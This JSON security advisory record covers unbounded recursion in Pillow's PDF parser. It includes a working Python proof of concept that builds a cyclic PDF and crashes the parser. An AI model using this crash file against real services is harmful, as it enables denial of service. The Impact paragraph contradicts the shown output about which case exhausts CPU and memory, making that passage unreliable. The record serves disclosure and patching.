{"id":"CVE-2026-112895","aliases":["GHSA-p4wg-p73j-c528"],"url":"https://o3.security/vulnerability/CVE-2026-112895","summary":"Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)","details":"### Summary\nWhen an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case.\n\n### Details\n`linearize_page_tree` recurses on `/Kids` with no cycle or depth check:\n\n- `src/PIL/PdfParser.py:1078-1092`\n\n`read_prev_trailer` catches only a repeated offset:\n\n- `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it)\n\n### PoC\n```python\nfrom PIL import PdfParser\n\n# A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2).\nobjs = {\n    1: b\"<< /Type /Catalog /Pages 2 0 R >>\",\n    2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\",\n    3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\",\n}\nbuf = bytearray(b\"%PDF-1.4\\n\")\noff = {}\nfor oid in (1, 2, 3):\n    off[oid] = len(buf)\n    buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\"\nxref = len(buf)\nbuf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\nbuf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3))\nbuf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref\nopen(\"poc.pdf\", \"wb\").write(buf)\n\nPdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\")   # append=True parses the existing file the same way\n```\n\nRun it:\n```\n$ python 11_poc.py\nRecursionError: maximum recursion depth exceeded\n```\n\nThe 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion.\n\n### Impact\nA service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers.","published":"2026-10-19T21:57:14.207Z","modified":"2026-10-23T02:45:34.071986679Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"pillow","fixedVersion":"13.0.0"}],"fix":{"url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf","label":"python-pillow/Pillow@e2ae7ea"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112895.json"},{"type":"FIX","url":"https://github.com/python-pillow/Pillow/commit/e2ae7eacad6de68c37eb28b633a97bebacf2c5bf"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/releases/tag/13.0.0"},{"type":"ADVISORY","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-p4wg-p73j-c528"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112895"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-23T02:45:34.071986679Z"}}